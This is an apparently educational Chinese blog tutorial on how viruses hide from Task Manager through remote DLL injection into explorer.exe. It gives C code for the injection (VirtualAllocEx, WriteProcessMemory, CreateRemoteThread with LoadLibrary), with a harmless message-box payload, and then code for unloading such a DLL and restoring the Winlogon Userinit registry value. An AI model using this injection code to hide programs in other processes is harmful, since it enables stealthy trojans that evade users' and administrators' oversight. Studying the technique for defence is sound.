从编程角度揭示病毒感染原理
-- 之踏腊无痕水上飘(进程隐藏技术)
作者:冒险王(刘湘鋆)
博客:http://hi.baidu.com/43755979/blog
"十步杀一人,千里不留痕"用这样的诗句来比喻如今的病毒是最恰当不过的在微软NT系列操作系统中我们日常的应用程序启动都逃不过任务管理器的掌控熟悉进程的电脑好爱者或是系统管理员通过查看系统任务管理器可以在很短的时间内找出系统中正在运行的可疑程序,于是那些病毒作者便想尽办法希望可以逃过系统管理员最直观的肉眼识别有很多木马会将自己命名成和系统文件名极其相似,希望以此来混水摸鱼逃过系统管理员的眼睛,比如SVCHOST.exe(系统)-SVCH0ST.exe(病毒);SERVICES.exe(系统)-SERVLCES.exe(病毒)等等还有一些干脆就用加载同名不同路径的方法,那么你就无法直接用名称来辨别了
这是两个比较巧妙的办法,并且成功率很高一些粗心大意的用户往往难以发现其中的猫腻,相较于前者,后者更具隐蔽性但是我们还是可以通过一些工具软件以对比其路径的方法将其揪出来那么,如果运行时没有进程呢?在win98中我们可以运用系统提供的API函数来实现进程的隐藏,或是通过注册服务来逃避任务管理器上的显示但在NT系统中,这些方法早已成为昨日黄花豪无作用所以从这一点可以折射出微软NT系列系统在安全性上较win98有着质的提高如果在NT系统中想真正的做到运行时的不留痕,我们必须耍些新的手段当然手段不止一种,其中有个经典的手法就是:DLL远程注入技术我个人也比较偏爱这种方法,真可谓踏腊无痕水上飘
废话就先到此,下面我将具体阐述其技术实现的具体方法和步骤
(一)DLL远程注入的技术背景
当我们运行一个应用程序时,它首先会在系统中创建一个进程说到进程,学过操作系统的人都很清楚,所谓进程就是应用程序的执行实例(或称一个执行程序)但我认为在程序的运行过程中实际的动作都是由线程完成的线程是进程中的一个执行单元,同一个进程中的各个线程对应于一组CPU指令一组CPU寄存器以及堆栈进程本来就具有动态的含义,然而实质上是通过线程来执行体现的,从这个意义上说,Windows 中进程的动态性意义已经不是很明显了,只算是给程序所占的资源划定一个范围而已真正具有动态性意义的是线程也就是说程序是在其指定的进程(可以理解为空间)里执行其所需执行的系列线程(纯属个人理解,不必引起争议!)从这个意义上看进程和线程之间的并非是捆死的
当调用CreateProcess时,系统就会创建一个进程内核对象该进程内核对象不是进程本身,而是操作系统管理进程时使用的一个较小的数据结构可以将进程内核对象视为由进程的统计信息组成的一个较小的数据结构然后,系统为新进程创建一个虚拟地址空间,并将可执行文件或任何必要的DLL文件的代码和数据加载到该进程的地址空间中然后,系统为新进程的主线程创建一个线程内核对象(纯属个人理解)请注意必要这个关键词,如果不是必要的DLL文件,我们是否可以模仿其加载必要DLL文件的代码和数据的方法将那些不是必要的东东混进去呢? 当然可以NT系统为每个进程配备了4G的虚拟地址空间,如此海量的空间我们何愁插不进去呢但是要想将自己的程序代码插到别的进程空间我们需要将程序编译成DLL文件形式,因为在DLL文件结构中有一种触发机制,一但DLL被加载那么就可以自动引发事件并执行相应的代码我们平时双击DLL文件是无法执行其代码的,但只要让它加载到进程中,其自然就乖乖的运行了一般情况下,每个进程都有自己的私有空间,理论上,别的进程是不允许对这个私人空间进行操作的,但是,我们可以利用一些方法进入这个空间并进行操作,将自己的代码写入正在运行的进程中,于是就有了远程注入了
总的来讲DLL远程注入技术就是将自己代码加载到宿主进程的空间去执行,并且共享宿主进程的空间资源从而达到隐形的目的因为根本不存在自身的进程,所以在任务管理器上也无法显示出来
(二)具体实现步骤
理论讲了那么多,不免有些头晕,下面我用实践来具体说明怎样实现进程的远程注入
1.首先:我们需要将自己的代码编译成DLL文件形式,这里我选择VC6.0里的Win32 Dynamic-Link Library方式创建Non-MFC DLL动态链接库假如我是病毒作者,那么我将在这里写入的我的病毒代码,然后编译成DLL文件假设我的病毒功能只是在屏幕上显示一个对话框内容为:你中毒了!那么代码如下:
//******************************************************************************
#include <windows.h>
BOOL APIENTRY DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
//假设"病毒"被加载运行
MessageBox(NULL,TEXT("你中毒了!"),TEXT("提示"),MB_OK);
break;
case DLL_PROCESS_DETACH:
//如果此"病毒"被清除,那么也将出提示对话框
MessageBox(NULL,TEXT("病毒已被清除!"),TEXT("提示"),MB_OK);
break;
}
return true;
}
//******************************************************************************
这段代码虽然是小儿科,但它反映出了Non-MFC DLL编程最基本的框架,包括文件被加载和卸载的事件过程
2.接下来我要将此"病毒"远程注入到别的进程去运行显然我不可能在其DLL文件上双击鼠标DLL文件只能通过exe文件才能加载到进程空间如此,我就得为其写一个专门用来注入进程的exe程序首先我得物色一个用来注入的宿主进程我选择了Explorer.exe这个系统进程,目前大多数病毒都选择此进程为注入目标所以在开始我必须找到此进程(获得Explorer.exe进程的ID)代码如下:
//************************寻找并获取iexplorer进程的ID*******************************
DWORD kuaizhao()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
return false;
}
BOOL bMore =Process32First(hProcessSnap, &pe32);
while (bMore)
{
if ( !stricmp(pe32.szExeFile, "explorer.exe") )
{
//获取该进程的句柄
HANDLE handle=OpenProcess (PROCESS_ALL_ACCESS,
false,pe32.th32ProcessID);
if (handle==NULL)
{
exit(0);
}
CloseHandle(hProcessSnap);
CloseHandle(handle);
break;
}
else
bMore =Process32Next(hProcessSnap, &pe32);
}
//返回此进程ID
return pe32.th32ProcessID;
}
//******************************************************************************
通过上面这段代码,我们就可以得到当前系统中Explorer.exe的动态ID了有了进程ID,我们就可以打开宿主进程,对其进行访问和操作了!我们的操作很简单,就是将"病毒"DLL文件加载到此进程中加载DLL文件需要用到LoadLibrary这个API函数,其语法格式为:
HMODULE LoadLibrary( "DLL文件路径" )
但是在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,在这里,我们当作参数传入的字符串"D://ks.dll"(假设病毒文件路径为"D://ks.dll")其实是一个数值,它表示这个字符串位于ks.exe(假设我用来注入ks.dll文件的exe文件加载程序名称为ks.exe)地址空间之中的地址,而这个地址在传给Explorer.exe之后,它指向的东西就失去了有效性因为各个进程之间都是相互独立的,我们在ks.exe进程空间中传递的"D://ks.dll"这一数值到Explorer.exe进程空间后就不是"D://ks.dll"这一概念了这好比我们拿第11栋学生公寓205寝室的钥匙去开第12栋学生公寓205寝室的门,同样的钥匙遇到不同的门,当然无法打开了
由此看来,我就需要做这么一系列略显繁杂的手续首先在宿主进程中分配一段内存空间,然后向这段空间写入我们要加载的DLL路径,最后再调用LoadLibrary来加载DLL文件,不同的是此时LoadLibrary函数中的参数取自宿主进程空间中写入的DLL路径的数值于是原本应该一句LoadLibrary( "D://ks.dll" );
就搞定的代码如今不得不写成这样:
//********************线程注入**************************************************
BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
{
HANDLE hProcess;
hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );
char *pszdll;
//在远程进程的内存地址空间分配DLL文件名空间
pszdll = (char *) VirtualAllocEx( hProcess, NULL, lstrlen(DllFullPath)+1,
MEM_COMMIT, PAGE_READWRITE);
//将DLL的路径名写入到远程进程的内存空间
WriteProcessMemory(hRemoteProcess,
pszdll, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);
DWORD dwID;
LPVOID pFunc = LoadLibrary;
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc,
pszdll, 0, &dwID );
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
//*******************************************************************************
好了,现在你可以尝试着整理这些代码并编译运行那么我猜想你会关心exe加载程序(如本文中的ks.exe)在这一过程所扮演的角色分量因为实现远程注入的代码都是写在exe加载程序中的足以说明其分量的举足轻重它本身不是病毒,但它的存亡直接关系到病毒DLL文件的存亡
当exe加载程序运行时,它会不可避免的在系统中新建一个ks.exe的进程,但是当它运行结束后程序的生命周期也就结束了那一过程在一瞬间就完成所以这一新进程也会在瞬间消亡但此时病毒体已经被加载进了宿主进程空间"十步杀一人,千里不留痕"的行动已在不知不觉中秘密展开了当然,本例的病毒程序只是在系统中弹出一个简单的对话框并显示"你中毒了!",但你在任务管理器上看不到任何与之有关的进程出现与其说是进程被隐藏倒不如说根本就没创建过进程
当然,每次启动系统时exe加载程序必须首先运行那么你必须将其打入系统启动项中关于写注册表代码请参考后面部分,由于exe加载程序的地位重大病毒作者们通常会在DLL代码中加入了监控和修复其加载程序的功能一旦其加载文件被删,那么内存中的病毒代码会在瞬间将其恢复这就是为什么我们平常手工将病毒文件删除后不久又出现了,或者当我们将注册表里的病毒启动项删除后刷新一下又复原的原因所在
总结一下,利用了远程注入进程技术的病毒,可以在系统中踏腊无痕水上飘但关键还在于病毒的内部代码的合理编写,如果内部代码写的烂,那么会严重干扰系统的正常运行,导致电脑速度卡,系统死机甚至系统崩溃,蓝屏(那些系统破坏型病毒除外)我个人认为这种技术用在木马上较多因为木马讲究的是隐蔽,在宁静的海域,风平浪静,一面孤帆随风飘来,谁知不远处还有一艘潜艇正伺机而动...
(三)兵来将挡
有矛必然有盾,若想人不知,除非己莫为记得某一黑帮题材电影里有句经典台词:出来跑的,迟早要还的对于反病毒,我们必须要知道病毒的技术原理只有知己知彼方能克敌致胜既然知道了远程注入代码技术的内幕,那么就可以制定出反注入的解决方案对于清除这类病毒,我认为也可从其技术原理出发,以其人之道还其人之身就拿这类病毒(木马)为例,假如你想写一个专杀工具,那么你至少应该掌握该病毒的一些基本信息如病毒文件名,注入的进程名等(除非你为自己写的病毒写专杀工具)
那么我认为步骤大致如下:
1. 先将内存中的病毒模块卸载,然后将磁盘上的病毒物理文件删除
我可以提供一段我自定义的进程模块卸载函数以供参考:
//****************自定义卸载病毒DLL模块函数********************************************
bool KillDll(const char *DllFullPath,const DWORD ProcessId)
{
HANDLE Process;
Process = OpenProcess( PROCESS_ALL_ACCESS,FALSE, ProcessId );
char *psplease;
psplease = (char *) VirtualAllocEx( Process, NULL, lstrlen(DllFullPath)+1,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(Process,psplease,
(void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);
DWORD dwExit;
DWORD dwID;
// 使目标进程调用GetModuleHandle,获得DLL在目标进程中的句柄
LPVOID pFunc = GetModuleHandleA;
//插入目标进程来获取病毒模块的句柄
HANDLE hThread = CreateRemoteThread(Process,NULL,
0,(LPTHREAD_START_ROUTINE)pFunc,psplease,0,&dwID);
if (!hThread)
{
return false;
}
WaitForSingleObject(hThread,INFINITE);
/*
获得GetModuleHandle返回病毒模块的退出信息,存在dwExit变量中
这里因为FreeLibrary需要该模块的退出码
*/
GetExitCodeThread(hThread,&dwExit);
pFunc = FreeLibrary;
hThread = CreateRemoteThread(Process, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwExit, 0, &dwID);
WaitForSingleObject( hThread, INFINITE );
if (!hThread)
{
return false;
}
VirtualFreeEx(Process, psplease, lstrlen(DllFullPath)+1, MEM_DECOMMIT );
CloseHandle(Process);
CloseHandle(hThread);
return true;
}
//***************************************************************************************
2. 将病毒残余信息从系统中清除在这只给出注册表清理例子:
//**********************自定义注册表清除病毒启动项函数***********************************
bool Inreg()
{
HKEY hkey;
LPCTSTR dataPath="software//Microsoft//Windows NT//CurrentVersion//Winlogon//";
long rt=RegOpenKeyEx(HKEY_LOCAL_MACHINE,dataPath,0,KEY_ALL_ACCESS,&hkey);
LPCTSTR pk="Userinit";
unsigned char ks[512]="C://WINDOWS//system32//userinit.exe";
unsigned char query[512];
DWORD size=512;
if (rt==ERROR_SUCCESS)
{
long jj=RegQueryValueEx(hkey,pk,0,NULL,query,&size);
if (jj==ERROR_SUCCESS)
{
if (!stricmp((char*)query, (char*)ks))
{
return true;
}
else
{
size=512;
long xie=RegSetValueEx(hkey,pk,0,REG_SZ,ks,size);
if (xie==ERROR_SUCCESS)
{
return true;
}
return false;
}
}
else
return false;
}
else
{
return false;
}
RegCloseKey(hkey);
}
//******************************************************************************************
3. 恢复被感染的PE文件如果该病毒感染了大量磁盘上的程序文件,那么必须对感染体进行手术摘除病毒体关于这一点我将在下一篇文章:从编程角度揭示病毒感染原理--之乾坤大挪移(PE病毒感染文件原理)中进行详细阐述!敬请关注!我的博客:http://hi.baidu.com/43755979/blog
好了这期就先到这!